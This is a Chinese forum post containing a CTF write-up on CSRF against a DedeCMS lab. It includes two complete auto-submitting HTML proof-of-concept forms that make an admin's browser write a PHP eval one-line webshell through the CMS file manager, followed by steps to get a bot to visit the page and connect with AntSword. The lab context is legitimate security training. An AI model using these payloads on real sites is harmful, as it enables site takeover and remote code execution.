孤樱懶契 发表于 2021-8-22 06:38

【CTF】前端渗透 CSRF wp

本帖最后由 孤樱懶契 于 2021-8-22 08:28 编辑

# 前言

> - 前端渗透/CSRF,学习一下!

# CSRF跨站请求伪造了解

csrf跨站请求伪造:也被称为“one click attack”或者sessingriding,通常缩写为csrf或者xsrf,是一种对网站的恶意利用。尽管听起来像跨站脚本(xss)但它与xss非常不同,xss利用的是站点内的信任用户,而csrf是通过伪装来自受信任的用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

用户只要不关闭阅览器或者退出登录的时候,如果用户无意间点开了构造好的csrf脚本的链接,可能会用户不想做的事(通过恶意的js代码可以操纵阅览器去发送修改用户信息的数据包给正常的网站)
(因为用户访问正常网站时会产生cookie,,而用户没有关闭或者退出登陆,所以这个cookie还没有失效,所以就会很容易的进入正常网站去修改用户的信息)

## 构造csrf恶意网站方法

Burp有自己构造csrf poc 的功能,在让用户访问这个构造好的网页

## 靶场环境

> **不用下源码,直接用这个测试csrf,poc的作用**
>
> 织梦管理登陆:http://59.63.200.79:8010/csrf/uploads/dede/login.php
>
> 登陆方式:admin admin123



> **这个织梦网站,是我们提交问题反馈,机器人访问从而getshell的网站**
>
> http://59.63.200.79:8010/newcsrf/
>
> 问题反馈:http://59.63.200.79:8010/newcsrf/test/
>
> 分析,提示是织梦cms,应该是发给管理员访问,然后直接写一句话,因为管理员页面无法访问。

**由于找历史源码很麻烦,所以就不本地测试,直接用提供的第一个有账号密码的织梦靶场来测试是否存CSRF**

首先登陆之后,进入文件式管理器,写一句话木马抓包看看

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818102059506.png)

发现并没有token,或者验证码等限制,可以利用BURP的POC生成CSRF

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818102229457.png)

创建一个test.html来存储,来测试

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120547059.png)

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120627673.png)

**打开刚刚新建的test.html,点击submit测试**

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120706491.png)

成功生成shell

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818120740891.png)

**但是这种需要我们自己点submit的方式一般没人会点,所以我们调成自动访问,加一个name:aa,然后document.aa.submit()直接提交实现自动提交,无需点击**

```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
    <form name="aa" action="http://59.63.200.79:8010/csrf/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="/csrf/uploads/uploads" />
      <input type="hidden" name="filename" value="shell.php" />
      <input type="hidden" name="str" value="<?php eval($_REQUEST);?>" />
      <input type="hidden" name="B1" value="±£ ′?" />
      <input type="submit" value="Submit request" />
    </form>
      <script>
                document.aa.submit();
      </script>
</body>
</html>

```

**既然测试环境已经成功实现了csrf,我们可以尝试获取一下newcsrf靶场的实战,接着通过目录扫描获取了newcsrf的文件操作目录**http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php,将poc中的action改成newcsrf的文件操作目录就可以提交了(注意:上传的一句话木马路径也要改对 `name="activepath" value="/newcsrf"`)

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818124106553.png)

```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
    <form name="aa" action="http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="/newcsrf" />
      <input type="hidden" name="filename" value="a.php" />
      <input type="hidden" name="str" value="<?php eval($_REQUEST);?>" />
      <input type="hidden" name="B1" value="±£ ′?" />
      <input type="submit" value="Submit request" />
    </form>
      <script>
                document.aa.submit();
      </script>
</body>
</html>
```

**因为我们可能没有公网,所以靶场提供了一个可以上传html的地方,在问题反馈页面**

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818121820266.png)

上传刚刚我们得到poc,看看是否存在,记得确认是否存在

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818121848947.png)

**确认好了,就可以上传shell到主页了,问题反馈一下,让机器人访问一下**

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818123847788.png)

**接着我们就可以在我们上传的路径看到shell了**

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818123927992.png)

**下面基操,蚁剑连接,拿flag**

> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210818124250106.png)

# 我的个人博客

> ## 孤桜懶契:http://gylq.gitee.io

掌櫃 发表于 2021-8-22 09:33

学习一下,谢谢楼主!

hnwang 发表于 2021-8-22 11:42

收藏学习,去楼主博客也学到不少,感谢

生虢 发表于 2021-8-22 12:33

虽然没看懂~~但是 好厉害的样子

njzyjyyd 发表于 2021-8-22 13:07

学习学习!

tencentma 发表于 2021-8-22 18:27

前端渗透,我要学习!

ongp1347 发表于 2021-8-22 21:43

好好学习 谢谢楼主分享

战火恐龙 发表于 2021-8-22 22:14

向楼主学习,谢谢楼主辛苦的分享

南易 发表于 2021-8-22 22:46

感谢楼主分享,支持

ajj5018 发表于 2021-8-23 22:16


感谢大佬分享,支持
页: [1] 2
查看完整版本: 【CTF】前端渗透 CSRF wp